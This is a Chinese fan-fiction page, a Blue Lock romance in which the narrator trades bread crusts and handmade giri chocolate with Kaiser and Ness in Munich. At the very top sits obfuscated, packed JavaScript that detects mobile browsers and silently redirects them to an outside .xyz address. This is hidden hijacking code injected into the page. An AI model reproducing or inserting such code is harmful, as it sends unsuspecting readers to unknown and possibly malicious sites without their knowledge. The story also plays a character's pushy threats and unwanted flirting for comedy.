;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251842|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得有些微妙的尴尬。 我低头搅拌着内斯刚刚买回来的、插着一把小纸伞的果汁,努力忽略对面那道存在感极强的视线。 “喂。”凯撒突然开口,声音低沉。 我抬起头,隔着墨镜看不到他的眼睛,只能看到他那张没什么表情的、线条优美的下巴。“干嘛?” 他沉默了几秒,似乎在下什么决心,然后才用一种极其随意、仿佛只是随口一提的语气问道:“你刚才说的……那个面包边碾碎做的小吃……叫什么?” 果然!他还在惦记这个! 我心里的小人已经笑得满地打滚,但脸上还得装出一副“哦你说那个啊”的平淡表情:“嗯?那个啊……没有特定的名字吧?就是一种很家常的吃法,有时候妈妈们为了不浪费食物会这样做。有些店也会专门卖烤得香香脆脆的面包边条当零食。” “……哦。”他应了一声,然后又陷入了沉默,手指无意识地敲打着桌面,不知道在想什么。 过了一会儿,他又状似无意地追问:“那……蘸炼乳呢?真的好吃?” “还不错啊,甜甜的,脆脆的。”我故意说得轻描淡写,“不过热量有点高就是了。怎么?你想试试?”我忍不住带上了一点调侃的语气。 凯撒的身体几不可查地僵了一下,随即立刻用一种近乎傲慢的语气反驳道:“谁想试那种幼稚的东西?只是觉得……你们日本人的吃法真是奇怪。”他说着,还嫌弃似的撇了撇嘴。 死鸭子嘴硬!我几乎能想象出墨镜后面他那双冰蓝色眼睛可能闪过的别扭光芒。 “是嘛。”我也不戳穿他,低下头继续喝我的果汁,嘴角却忍不住弯了起来。 这时,内斯拿着三杯饮料回来了——两杯果汁,还有一杯……居然是给凯撒的,一杯看起来就很健康的绿色果蔬汁。 “凯撒,你的。”内斯小心翼翼地把那杯绿色的液体放在凯撒面前。 凯撒瞥了一眼,眉头几不可查地皱了一下,但还是拿起来喝了一口。 我看着那杯健康的果蔬汁,又想起他对面包边的执着,忽然觉得这个看起来无懈可击的超级新星,其实也挺……接地气的?至少在对食物的偏好上,有着出人意料的反差。 休息了一会儿,我们继续闲逛。经过一个卖手工皮革制品的小摊时,我被一个精致的小钥匙扣吸引了目光。那是一个小小的、皮质的足球模型,做工很精细。 “喜欢这个?”内斯注意到我的目光,立刻问道。 “嗯……挺可爱的。”我拿起来看了看。 “那就买下来吧。”内斯说着就要掏钱。 “不用不用,”我连忙摆手,“我自己来就好。”虽然和内斯是表兄妹,但总让他花钱我也不好意思。 摊主是一位老奶奶,笑眯眯地看着我们,用带着浓重口音的英语说:“很漂亮,对吧?送给男朋友很合适哦!”她显然是误会了我和内斯的关系。 内斯的脸色“唰”地一下变得通红,慌忙摆手:“不、不是的!我们不是……” “呵。”旁边的凯撒又发出一声经典的冷笑,他拿起摊位上另一个看起来更酷炫的、带着金属铆钉的皮革手环,语气嘲讽,“眼光真差。这个丑东西有什么好的?” 老奶奶似乎听不懂英语,依旧笑眯眯地看着我手里的足球钥匙扣,又看了看旁边脸色通红的内斯和一脸酷拽的凯撒,自顾自地猜测:“那是送给哥哥?还是……另一位男朋友?” 我:“???” 内斯:“!!!” 凯撒:“……”他放下手环,墨镜下的脸似乎也黑了一下。 这下误会更大了!我赶紧付了钱,拿起那个小钥匙扣,拉着还在试图解释“我们是表兄妹而且她也没有两个男朋友”的内斯,几乎是落荒而逃。凯撒双手插兜,慢悠悠地跟在我们后面,虽然没再说话,但那周身散发出的“我不认识这两个笨蛋”的气场却格外强烈。 一直跑到下一个街口,我们才停下来喘气。内斯的脸还是红得像番茄,嘴里还在喃喃自语:“怎么会误会成两个男朋友……太失礼了……” 我看着他那副样子,又想起刚才凯撒吃瘪的表情,终于忍不住哈哈大笑起来。今天的经历真是太奇幻了。 夕阳西下,给慕尼黑老城的建筑镀上了一层温暖的金色。内斯看了看时间,有些遗憾地说:“差不多该回去了,爱。晚上基地还有门禁。” “嗯,今天谢谢你了,内斯,玩得很开心。”我真诚地道谢。抛开某个时不时出来煞风景的家伙,今天确实很有趣。 “我也很开心!”内斯立刻笑起来,梅色的眼睛弯弯的,“下次……下次再带你去看别的地方!” 我们朝着地铁站的方向走去。凯撒依旧沉默地跟在后面,仿佛只是同路。 走到一个十字路口等红灯时,旁边正好有一家面包店正在把当天没卖完的、切下来的面包边条装进一个大纸袋里,似乎准备处理掉。那些面包边烤得金黄焦脆,看上去就很香。 我的脚步顿了一下,下意识地瞥了凯撒一眼。他果然也注意到了那个大纸袋,视线在那上面停留了好几秒,甚至微微侧了侧头,像是在评估那袋面包边的“品质”。 绿灯亮了。面包店的工作人员拎起那袋面包边,走向旁边的垃圾桶。 就在这一刻,凯撒突然动了。他迈开长腿,几步就走到那个工作人员面前,用流利的德语说了句什么,然后指了指那袋面包边。 工作人员愣了一下,看了看眼前这个穿着时髦、气质不凡的年轻人,又看了看手里那袋本该丢弃的东西,脸上露出困惑的表情,但还是把袋子递给了凯撒。 凯撒接过那袋沉甸甸的面包边,随手从口袋里掏出几张欧元纸币塞给那个还在发愣的工作人员,然后拎着袋子,面无表情地走了回来。 整个过程快如闪电,自然得仿佛他只是买了一杯咖啡。 我和内斯目瞪口呆地看着他,完全不明白他这突如其来的操作是什么意思。难道他真对面包边爱得如此深沉,甚至不惜当街“收购”? 凯撒走回我们身边,无视了我们俩震惊的目光,随手将那袋面包边……塞进了我的怀里! “喏。”他语气平淡,仿佛只是随手递给我一张纸巾,“拿去。你不是喜欢吗?” 我抱着那袋还散发着温热和麦香的面包边,整个人都懵了:“啊?我……我不是……” “走了,内斯。”凯撒却不给我反驳的机会,直接招呼内斯,双手重新插回口袋,迈开步子就朝前走去,仿佛刚才那个当街买下废弃面包边的人不是他一样。 内斯看看我,又看看凯撒的背影,脸上写满了茫然和震惊,但还是下意识地跟上凯撒的脚步,走了两步又回头对我投来一个“这到底是怎么回事”的眼神。 我抱着那袋沉甸甸的、温暖的面包边,站在原地,看着凯撒那挺直又略显别扭的背影,夕阳在他那头金蓝挑染的发丝上跳跃着光芒。 一阵微风吹过,带来面包边浓郁的香气。 我突然……好像有点明白过来了。 这个家伙…… 我忍不住低头看了看怀里这袋“礼物”,又抬头看向那个越走越远、却始终没有回头的背影,一种复杂难言的情绪悄然在心里蔓延开来。 所以,这算是……道歉?还是……另类的表达方式? 心跳,又一次不争气地漏跳了一拍。 最终,我还是抱着那袋堪称“壮观”的面包边回到了酒店。一路上收获了不少路人好奇的目光。爸爸还没回来,房间里空荡荡的。 我把那袋面包边放在茶几上,看着它发了会儿呆。袋子口微微敞开着,烤物的焦香丝丝缕缕地飘出来,充满了整个房间。我鬼使神差地伸出手,拿出一根长长的、弯曲的面包边,放进嘴里。 “咔嚓——” 非常酥脆,带着碱水和粗盐的简单风味,越嚼越香。确实……挺好吃的。 脑海里又浮现出凯撒盯着我手里那点面包边、眼神发直的样子,还有他面无表情地将这一大袋塞进我怀里时,那微微泛红的耳根…… “噗……”我忍不住笑出声来,赶紧捂住嘴,但笑意却从眼睛里跑了出来。 这个米歇尔·凯撒,真是个……无比别扭、又偶尔会流露出一点奇怪可爱的混蛋。 我拿出手机,对着那袋面包边拍了一张照片,犹豫了一下,还是没有发给任何人,只是默默地存进了手机相册里。 然后,我点开了和玲王、凪的群聊。他们似乎刚结束训练,正在抱怨绘心甚八的魔鬼菜单。 【凪:好饿……好累……想吃不用嚼的流质食物……】 【玲王:坚持住,凪!晚上给你加营养餐!爱,德国那边怎么样?今天玩得开心吗?有没有又遇到什么奇怪的人?】 我看着玲王的消息,手指在屏幕上停顿了一下。 今天遇到了很奇怪的人吗?确实遇到了。还发生了非常非常奇怪的事情。 但是…… 我低头看了看那袋面包边,嘴角忍不住向上扬起。 【我:嗯,今天出去逛了逛,吃了很多好吃的。】我敲下这行字, 【遇到了……嗯,挺有趣的事情。等回去再跟你们细说。】 【凪:好吃的……羡慕……】 【玲王:有趣的事情?听起来不错。等你回来分享!记得给我们带纪念品!】 【我:好,一定。】 放下手机,我又拿起一根面包边,慢慢地啃着。 窗外的慕尼黑已经华灯初上,远处的安联球场像一颗巨大的红色宝石,在夜色中熠熠生辉。 足球的世界,光怪陆离,充满挑战,但也总会冒出一些意想不到的、带着麦香味的微小瞬间,让人忍不住……会心一笑。 或许,这就是它令人着迷的原因之一吧。 我也想要,更深入地,去看看那个世界。 43. 义理巧克力 既然被送了礼物,那就要回礼才行啊。 这个念头在脑海里转了一圈,目光落在茶几上那个巨大的、装着金黄面包边的纸袋上。麦香依旧丝丝缕缕地飘散出来,提醒着昨天那场光怪陆离又莫名让人心头微软的“馈赠”。 给内斯回礼是理所当然的。他那么细心周到,又是我表哥,于情于理都该好好谢谢他。但是……凯撒呢? 脑海里立刻浮现出那张傲慢又欠揍的脸,还有他强装无事却耳根泛红、把面包边塞进我怀里时的别扭样子。啧,不想送他。凭什么送他?就凭他老是戏弄我、吓唬我、还动不动就脱衣服污染我的视线? 可是……那袋面包边。 心里有个小小的声音在反驳。虽然他态度恶劣,方式奇葩,但这确实是一份“礼物”,一份他注意到了我那点无心的喜好、甚至有点幼稚的“礼物”。而且,看在他昨天那么……呃,“可爱”的份上?勉强原谅他一点点? 纠结了半天,最终还是“收了礼物就要回礼”的礼貌观念占据了上风。好吧,看在那袋面包边的面子上。 那送什么好呢?德国特色的东西?感觉他什么都不缺。而且送得太正式好像又有点奇怪……我们之间的关系(如果那能称为关系的话)远远没到那种需要精心挑选礼物的地步。 正发愁着,忽然灵光一现——义理巧克力! 在日本,义理巧克力不就是用来表达感谢、维系社交关系的吗?送给朋友、同事、帮助过自己的人,恰到好处,不会过分亲密,又能传达心意。虽然现在离情人节还有两个多月,但谁说义理巧克力一定要在特定日子才能送?心意比时间更重要吧? 而且,正好可以一起做了送给玲王和凪。玲王基本上每年都能收到我送的义理巧克力,已经是惯例了。至于凪……那个怕麻烦的米菲兔,好像还没正经收到过我的巧克力?这次正好补上,也算谢谢他平时……嗯……虽然大部分时间都在睡觉,但关键时刻还算可靠的陪伴?以及,把他宝贝的小剪托付给我。 就这么决定了! 第二天一早,我就拉着爸爸做向导,直奔慕尼黑最大的综合超市。爸爸对我突然要买巧克力材料表示高度好奇和热情支持,一路都在絮絮叨叨地推荐各种德国牌子的巧克力,试图把我往“直接购买成品”的路上引。 “买现成的多方便啊!你看这个,瑞士莲,好吃又好看!还有这个,莫扎特巧克力,萨尔茨堡特产,音乐家吃了都说好!” “不要,我要自己做。”我态度坚决地把他推荐的华丽礼盒一个个放回货架,“自己做的才有意义。” “哇哦!我家小爱长大了!知道亲手做礼物了!”爸爸立刻换上一副感动涕零的表情,用力揉我的头发,“是送给爸爸的吗?爸爸好感动!” “……你想多了。”我无情地打破他的幻想,精准地找到烘焙区,开始挑选高品质的黑巧克力、牛奶巧克力、淡奶油、黄油,还有各种模具和装饰用的糖珠、彩色巧克力笔。 “诶?不是给我的啊?”爸爸立刻垮下脸,但很快又兴致勃勃地凑过来,“那是送给谁的?内斯?凯撒?还是……你在蓝色监狱的那两个小男朋友?”他挤眉弄眼,语气暧昧。 我的脸颊瞬间升温,没好气地瞪了他一眼:“是义理巧克力!义理!送给朋友的感谢礼物!包括内斯!还有玲王和凪!”我特意强调了“朋友”和“义理”。 “哦——义理巧克力啊——”爸爸拉长了声音,脸上写着“我懂我懂”,笑得更加欠揍,“那就是说,除了爸爸,还有四个男孩子能收到我女儿亲手做的巧克力咯?哎呀呀,现在的年轻人,人缘真好……” 我决定不再搭理这个看热闹不嫌事大的老爸,专心挑选材料。结账的时候,我看着那一大袋东西,心里忽然有点没底。做巧克力……听起来简单,但我好像只有小时候跟妈妈一起玩过烘焙,成功率大概五五开?希望不要做得太失败。 回到酒店房间,我立刻开始动手。融化巧克力、调温、加入淡奶油和黄油做甘纳许……步骤看起来并不复杂,但实际操作起来却有点手忙脚乱。温度控制是关键,一不小心巧克力就可能水油分离或者产生颗粒感。 好不容易做好了顺滑的巧克力液,倒入模具的环节更是灾难。我原本雄心勃勃,打算给玲王、凪和内斯做拜塔慕尼黑的队徽图案——多么有代表性! 然而,我显然高估了自己的雕刻和调色技术。红色的巧克力酱和金色的巧克力酱在试图勾勒图案造型时毫不意外地糊成了一团,变成了一种诡异的橙色,边缘模糊不清,根本看不出那标志性的图案,反而像是一团被打翻的颜料。 “……完了。”我看着模具里那惨不忍睹的“队徽”,心情十分绝望。这送出去真的不会被嘲笑吗?尤其是送给凯撒的话,绝对会被他毒舌到体无完肤吧! 挣扎了片刻,我不得不放弃这个不切实际的幻想。算了,还是走安全路线吧。 我清洗了模具,重新融化了一些单色的巧克力液,倒入简单的心形、方形和圆形模具里。等它们初步凝固后,再用彩色巧克力笔在上面画一些简单的图案。 给内斯的巧克力,我画了一个小小的足球和几颗爱心,旁边用花体字写上“Danke, Alexis!”(谢谢,亚历克西斯!)。温暖又直接,很适合他。 给玲王的巧克力,我画了一个小小的王冠和一把钥匙——王冠代表“王子”,钥匙则暗喻他是我解开童年心结、重新接触足球的“钥匙”。他那么聪明,应该能懂吧? 给凪的巧克力,我画了一个仙人掌盆栽,旁边还有一个打着瞌睡的简笔画小人。简单易懂,他应该会喜欢……吧? 最后,轮到凯撒的那份。 拿着巧克力笔,我犹豫了很久。画什么好呢?玫瑰?太暧昧了。足球?太普通。难道画一根面包边?好像又太刻意嘲讽了…… 纠结了半天,最终,我只是在一块简单的方形黑巧克力上,用白色的巧克力酱,画了一个有点歪歪扭扭的、简单的数字“10”。他的球衣号码。既符合足球的主题,又不会显得过于亲密,还带着一点点……对他场上表现的认可?嗯,就这样,完美。 画完之后,我仔细端详着这四份风格迥异的巧克力。虽然比不上店里卖的精致,但每一份都包含了我的小心思,看起来倒也憨态可掬。 我把它们小心地装进事先买好的透明礼品袋里,系上丝带。看着并排摆放在桌上的四份礼物,心里莫名生出一丝成就感和小小的期待。 希望……他们会喜欢吧。 尤其是某个别扭的家伙,可千万别再说出什么毒舌的话来。 第二天下午,我联系了内斯,约好在基地附近的咖啡厅见面。为了避免再次出现上次那种“约会”乌龙,我特意强调了“只是送点东西,很快就好”。 内斯很快回复了,语气一如既往的轻快温暖:【好的!我一定准时到!(^▽^)】 我提前十分钟到了咖啡厅,选了一个靠窗的位置坐下。阳光透过玻璃窗洒在身上,暖洋洋的。我把装着四个礼品袋的小手提袋放在旁边的座位上,有点紧张地搅动着面前的果汁。 没过多久,咖啡厅的门被推开,风铃发出清脆的声响。内斯一个人走了进来,他穿着简单的休闲服,脸上带着清爽的笑容,一眼就看到了我,快步走了过来。 “爱!等很久了吗?”他在我对面坐下,梅色的眼睛弯弯的。 “没有,我也刚到。”我笑了笑,把准备好的、画着足球和爱心的那个礼品袋推到他面前,“这个……给你。是义理巧克力,谢谢你一直以来的照顾,还有上次带我去玩。” 内斯看到那个小巧的礼物,眼睛瞬间睁大了,脸上露出惊喜又难以置信的表情:“给、给我的?巧克力?”他小心翼翼地拿起那个袋子,像是捧着什么易碎的珍宝,脸颊微微泛红,“谢谢你,爱!我……我很开心!”他的笑容无比灿烂,甚至有点手足无措,“我还是第一次收到手作的巧克力……” “只是义理巧克力啦,不知道合不合你口味。”我被他热烈的反应弄得有点不好意思,赶紧补充道。 “义理的我也很喜欢!”内斯用力点头,珍惜地把礼物收好,然后像是想起什么,有些抱歉地看着我,“那个……凯撒他今天被教练留下加练几个定位球,可能……暂时过不来。”他顿了顿,试探着问,“你有什么话或者东西需要我转交给他吗?” 果然……我就知道那家伙没那么容易出现。心里反而松了口气。 “嗯,正好,我也给他准备了一份。”我从手提袋里拿出那个画着白色“10”的巧克力袋子,递给内斯,“麻烦你帮我转交给他吧。也是义理巧克力,谢谢他……之前的‘指导’,还有那袋面包边。”说到后面,我的声音稍微低了下去。 内斯接过那个袋子,看到上面简单的数字“10”,梅色的眼睛里闪过一丝了然和些许复杂的情绪,但他很快又笑了起来,郑重地点头:“好的!我一定亲手交给他!他一定会很高兴的!”虽然他说这话时,语气听起来并不是那么确定。 我们又闲聊了几句,内斯再三道谢后,因为训练时间快到了,便拿着两份巧克力先行离开了。 看着他消失在街角的背影,我松了口气。任务完成了一半。剩下的,就是等回国后,再把给玲王和凪的巧克力带给他们了。 然而,我显然低估了某人的行动力。 就在我喝完果汁,准备起身离开咖啡厅的时候,手机突然震动了一下。 拿出来一看,发信人赫然是那个我以为正在“加练”的米歇尔·凯撒。 【凯撒:?】 只有一个冰冷的问号。 我的心跳下意识地漏跳了一拍。什么意思?他收到巧克力了?内斯这么快就给他了?这个问号……是不满意?还是没看懂? 我盯着那个问号,犹豫着要不要回复。还没等我做出决定,他的第二条消息又来了。 【凯撒:地址。】 地址?什么地址?我有点懵。 正当我疑惑的时候,他的第三条消息紧随而至,是一张图片。 点开图片,赫然是我刚刚让内斯转交的那个巧克力袋子!此刻它正被一只骨节分明、贴着肌肉效贴布的手拿着,背景似乎是更衣室的储物柜。那只手……毫无疑问是凯撒的。 所以,他不仅收到了,还立刻拍照发过来了?这是什么操作? 还没等我理清头绪,他的下一条消息又跳了出来,这次是语音。 我深吸一口气,做足了心理建设,才点开那条语音。 凯撒那特有的、带着德国腔调、慵懒又嘲弄的声音立刻从听筒里流泻出来,背景里还有隐约的水声和嘈杂声,像是在更衣室或者浴室附近: “小学徒,”他的声音里听不出喜怒,只有一贯的居高临下,“解释一下。这丑兮兮的东西,是什么意思?还有,为什么我的和内斯的不一样?” 我的脸颊“唰”地一下就热了!丑、丑兮兮?!还有,他怎么会知道我和内斯的不一样?!内斯给他看了?还是他逼问内斯的? 一股羞恼混杂着委屈涌上心头。我就知道!就不该好心送他巧克力!这种混蛋只配吃面包边!最好还是过期发霉的! 我气得手指发抖,打字回复:【是义理巧克力!表达感谢的!不喜欢可以扔掉!还有,为什么非要和你的一样?】 消息发送成功。几乎就在下一秒,他的视频通话请求就弹了出来!嗡嗡的震动声像是催命符一样! 我的心脏猛地一跳,差点把手机扔出去!又、又来?!他到底想干嘛?! 手忙脚乱之下,我下意识地按了挂断! 世界清静了。但仅仅安静了两秒,他的消息又追了过来。 【凯撒:接。】 只有一个字,却带着不容拒绝的命令意味。 我盯着那个字,心跳如鼓。接?还是不接?接了肯定没好事,肯定又要被他嘲笑!不接?他会不会一直打?或者干脆杀到咖啡厅来? 就在我进行激烈心理斗争的时候,他的下一条消息又来了。 【凯撒:或者,你想让我现在就去你酒店房间找你?问问清田先生,他女儿送的巧克力到底是什么意思?】 我的头皮瞬间炸开!他敢!他绝对敢!以他那恶劣的性格,什么事做不出来?! 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我的脸颊爆炸般滚烫,视线完全不知道应该放在哪里——是看他那双戏谑的眼睛,还是看他手里的巧克力,或者是……那片过于开阔的、还挂着水珠的胸膛?! “你、你先把衣服穿上!”我几乎是尖叫着说出这句话,声音都变了调。 凯撒对我的抗议置若罔闻,反而将手里的巧克力举到镜头前,晃了晃,那个白色的“10”在他指尖显得格外醒目:“先解释。这丑东西,还有,区别对待。”他的语气冷了下来,带着一丝不容错辨的质问,“我的为什么只有个数字?内斯那家伙的,又有爱心又有足球还有字?” 原来他是在纠结这个?!他居然真的跑去看了内斯的巧克力?!这种莫名其妙的攀比心是怎么回事?! 我又羞又气,脑子一热,脱口而出:“因为内斯是温柔的好人!而你只是个恶劣的混蛋!给你个数字就不错了!嫌丑就别吃!” 话音落下,屏幕那头的凯撒沉默了两秒。 他冰蓝色的眼眸微微眯起,像是被我的话激怒了,又像是发现了更有趣的事情。他缓缓地、将那块被咬了一口的巧克力送到嘴边,当着我的面,又咬了一大口,然后慢条斯理地咀嚼着,眼神却始终牢牢地盯着我,像是在品尝什么,又像是在示威。 咽下巧克力,他才缓缓开口,声音比刚才更低沉,也更具有压迫感:“哦?混蛋?”他向前倾身,湿漉漉的头发几乎要碰到屏幕,那股无形的压迫感穿透网络扑面而来,“小学徒,你是不是忘了,你的远程‘家教’是谁?嗯?” “还是说,”他的目光在我爆红的脸上扫视,语气带着恶劣的玩味,“你其实更喜欢那种……画着爱心和足球的‘温柔’风格?暗示我下次也那样对你?” “你——胡说八道!”我气得浑身发抖,舌头都打结了,“那只是、只是普通的义理巧克力!谁要你那样了!你不许学内斯!” “凭什么?”他挑眉,好整以暇地问,“送巧克力的是你,挑剔的也是你。小学徒,你真难伺候。” 我快要被他这倒打一耙的逻辑气疯了!“谁要你伺候了!把巧克力还给我!你不配吃!” “晚了。”他晃了晃手里只剩下一半的巧克力,嘴角勾起一个得逞的笑容,“进了我的肚子,就是我的了。虽然丑,味道……还行吧。” 他那副理所当然、吃了我的东西还嫌丑的样子,简直让人火冒三丈!我恨不得穿过屏幕去把他手里的巧克力抢回来扔进垃圾桶! “至于回礼……”他像是突然想起什么,冰蓝色的眼眸里闪过一丝狡黠的光,故意拖长了语调。 回礼?我愣了一下。还有回礼? 只见屏幕那头的凯撒,忽然将镜头向下移!画面瞬间被他那片肌理分明的、还带着水珠的腹肌占据!甚至能看到浴巾边缘松垮垮地搭在胯骨上,引人遐想…… “看清楚了,小学徒。”他的声音带着蛊惑般的笑意响起,“这就是回礼。喜欢吗?” 我的大脑“嗡”的一声,血液全都涌上了头顶!眼前只剩下那片不断晃动的、带着水光的腹肌特写…… “啊啊啊啊啊混蛋!去死吧!”我尖叫着,再也无法忍受,用尽全身力气猛地按下了挂断键! 屏幕瞬间黑掉。 我瘫在咖啡厅的椅子上,大口大口地喘着气,心脏疯狂跳动,脸颊烫得能煎鸡蛋。手机像是烫手山芋一样被我扔在桌上。 上帝啊!我就不该心软!我就不该送他巧克力!这个无可救药的、喜欢脱衣服的、自恋的、恶劣的混蛋! 什么回礼!那算哪门子回礼!分明就是新一轮的精神污染! 我趴在冰凉的桌面上,试图给过热的脸颊降温,心里把凯撒骂了一万遍。 就在这时,手机又“叮”了一声。 我警惕地、缓慢地拿起来,生怕又是那个阴魂不散的家伙发来的什么可怕图片。 还好,不是凯撒。 是内斯。 【内斯:爱!巧克力我交给凯撒了!他好像……嗯……表情有点奇怪,但应该是收下了!谢谢你!我的那份非常非常好吃!是我吃过最好吃的巧克力!(*≧▽≦)】 看着内斯洋溢着喜悦和感谢的文字,再想想刚才凯撒那番恶劣的行径,我的心请更加复杂了。同样是收到巧克力,差距怎么能这么大! 我有气无力地回复:【你喜欢就好……内斯,你是个好人。真的。】 【内斯:诶?怎么突然发好人卡?(°ー°〃) 发生什么事了吗?是不是凯撒他又……】 【我:没什么!什么都别问!训练加油!】我迅速结束了对话。 拎着剩下的两份巧克力,我心情沉重地走出了咖啡厅。慕尼黑的阳光依旧灿烂,却无法驱散我心中的阴影。 给玲王和凪的巧克力,一定要藏好,绝对、绝对不能被发现!尤其是绝对不能让凯撒知道他们的巧克力上有特别的图案!否则天知道那个幼稚又攀比的家伙会做出什么事来! 足球的世界,果然充满了各种难以预料的“惊喜”和“惊吓”。 而米歇尔·凯撒,绝对是其中最大、最恶劣、最让人头疼的那一个! 我开始认真思考,现在把那袋面包边还给他,还来不来得及? 44. 国际大战 回到酒店没坐下多久,手机的震动就以一种近乎狂暴的节奏响了起来,屏幕上跳动的那个名字让我眼皮猛地一跳——米歇尔·凯撒。 阴魂不散!这家伙是在我身上装了雷达吗?! 我深吸一口气,努力平复想把他拉黑的冲动,按下了接听键,没好气地:“喂?” “下来。”他言简意赅,声音透过听筒传来,带着不容置疑的命令口吻,背景音里似乎还有街道的嘈杂声。 ……下来?下哪去? 我走到窗边,小心翼翼地撩开窗帘一角向下望去——酒店门口的路灯下,那个金蓝挑染的身影格外醒目。凯撒正单手插兜站在那里,另一只手拿着手机贴在耳边,微微仰头,似乎正精准地看向我窗户的方向。即便隔着一段距离,我也能想象出他此刻那副理所当然的傲慢表情。 “你在我酒店楼下干嘛?”我压低声音,感觉额角在突突地跳。 “接你。”他答得那叫一个天经地义,“跟我回俱乐部。” ……什么玩意儿? “我为什么要跟你回俱乐部?我要休息了!”我简直莫名其妙,这人脑子里到底装了什么? “你一个人呆在酒店里发霉?”他嗤笑一声,语气里的嘲讽几乎要溢出来,“你爸也在那,你那个表哥也在那,全都在那,你一个人缩在这里干什么?赶紧下来,别让我等太久。” 这家伙真是个彻头彻尾的混蛋!凭什么对我呼之即来挥之即去?还一副为我好的样子! “我不去!我累了!而且我去你们俱乐部干什么?看你们加练吗?”我试图反抗。 “加练早结束了。是内斯那家伙消息不灵通,时间晚一大截。”他听起来有点不耐烦了,“给你三分钟,不下来我就上去敲门,或者直接打电话给前台说是你男朋友被关在外面了——你选一个?” “你——!”我气得差点把手机捏碎!这种无耻的威胁他怎么能说得这么顺口!“你敢!” “试试?”他轻飘飘地反问,带着十足的恶劣。 我简直要吐血了。跟这种人根本没法讲道理!他绝对说得出做得到!一想到可能引起的混乱和爸爸那张看热闹不嫌事大的脸,我就一阵绝望。 在手机上和他来回拉扯了好几个回合,威逼利诱被他玩了个遍,最终,我只能不情不愿地投降。 “……等着!我马上下来!”我从牙缝里挤出这句话,愤愤地挂了电话。 磨磨蹭蹭地换了鞋,拿上房卡,我一脸赴死般地下了楼。 刚走出酒店旋转门,凯撒的视线就扫了过来。他已经收起了手机,脸上没什么表情,但那双冰蓝色的眼睛在路灯下显得格外具有穿透力。“慢死了。” ……好想打他。 我憋着一肚子火,走到他面前:“走吧!混蛋!” 他轻哼了一声,似乎对我的骂骂咧咧并不在意,转身就迈开了长腿。我只好跟在他身后,保持着两三步的距离,故意把头扭向一边,看着街边的橱窗,就是不看他。 夜晚的慕尼黑有点凉,风吹过来,我下意识地抱了抱胳膊。走在前面的凯撒像是背后长了眼睛,忽然放缓了脚步,等我跟上来,变成了并排走。 “……你不是在加练吗?”沉默的气氛有点尴尬,我没话找话。 “说了早结束了。”他目视前方,侧脸线条在灯光下显得有些冷硬,“是内斯消息滞后。” “哦。”我干巴巴地应了一声,想起之前那次失败的“约会”,忍不住嘟囔,“那上次会议呢?也说很晚结束,结果还不是突然出现了……” 他闻言,终于侧过头瞥了我一眼,嘴角似乎勾了一下:“那次也提前了。” ……果然! “所以下次,”他继续说道,语气里带着一种令人火大的了然,“想知道我的行程,可以直接问我。又准时又精确,比问内斯那个不靠谱的强多了。” 我暗自翻了个白眼,谁要问你行程啊!躲你都来不及!自恋狂! 一路无话地走到了拜塔青训基地。夜晚的基地比白天安静许多,只有几栋楼还亮着灯。凯撒刷了门禁卡,领着我熟门熟路地走了进去。 我以为他会带我去找爸爸或者内斯,结果他直接把我带进了一间看起来像是休息室或者娱乐室的房间。里面有沙发、茶几、游戏机、甚至还有一个桌上足球台。 “在这等着。”他把我往里一推,语气随意得像是在安置一件行李,“别乱跑。” “诶?等等!你去哪?我爸呢?内斯呢?”我愣住了,这叫什么事?把我从酒店薅过来,然后就扔在这不管了? “他们一会儿就来。”他丢下这句话,甚至没再多看我一眼,转身就离开了,还顺手带上了门! 我简直目瞪口呆!这个人!也太不靠谱了吧!把我一个人扔在这陌生的地方算怎么回事?! 休息室里空空荡荡,只有我一个人。我走到沙发边坐下,看着窗外寂静的训练场,心里把那家伙骂了八百遍。 幸好没等太久,休息室的门就被轻轻推开了。内斯探进头来,看到我,脸上立刻露出松了一口气的笑容:“爱!你真的在这里啊?凯撒刚才跟我说了一声,我还有点不敢相信……你怎么过来了?” 看到内斯,我像是见到了亲人(虽然他本来就是我表哥),差点热泪盈眶:“内斯!快进来!是凯撒那个混蛋非要拉我过来的!” 内斯走进来,在我旁边的沙发上坐下,脸上带着歉意:“抱歉啊爱,凯撒他有时候就是……比较随心所欲。他没吓到你吧?” “差点吓死!”我没好气地说,“直接杀到酒店楼下威胁我!” 内斯无奈地笑了笑,刚想说什么,我的手机突然响了起来——是玲王打来的语音电话! 我像是抓住了救命稻草,赶紧接了起来:“玲王!” “爱?在干嘛呢?德国那边应该挺晚了吧?”玲王清朗的声音从听筒里传来,带着一丝关切。 “玲王……”我顿时有种诉苦的冲动,“我跟你说,我刚刚被一个超级大混蛋绑架了!” “嗯?绑架?怎么回事?”玲王的语气瞬间严肃起来。 我立刻叽里呱啦地把凯撒如何威胁我、如何把我强行带到俱乐部休息室又扔下不管的“恶行”添油加醋地说了一遍。 “什么?!岂有此理!那个凯撒!他到底想干什么?!”玲王的声音明显带上了火气,“你没事吧?现在在哪里?安全吗?” “我现在在基地的休息室,内斯在我旁边。”我连忙汇报,顺便把手机开了免提,让内斯也能听到。 “您好,御影君。”内斯有些不好意思地对着手机打招呼,“我是亚历克西斯·内斯,爱的表哥。请放心,她在这里很安全,我会照顾好她的。” “内斯君?啊,你好。”玲王的语气稍微缓和了一些,但依旧能听出不悦,“感谢你照顾爱。不过,请转告那位凯撒先生,他的行为非常失礼!如果再有下次,我绝对不会客气!” 内斯连连应声:“是,是,我会转达的,非常抱歉……” 正说着,休息室的门又被推开了。凯撒居然去而复返,他手里拿着两瓶运动饮料,看到我正在打电话,眉头挑了一下。 “哦?在跟谁告状?”他迈步走进来,语气懒洋洋的,直接把一瓶饮料递向我。 我还没反应过来,手机里就传出了玲王明显拔高的声音:“凯撒先生,请你离爱远一点!你那些莫名其妙的行为已经造成她的困扰了!” 凯撒递饮料的动作顿住了。他冰蓝色的眼眸眯起,看向我开着手免提的手机,嘴角缓缓勾起一个危险的弧度。 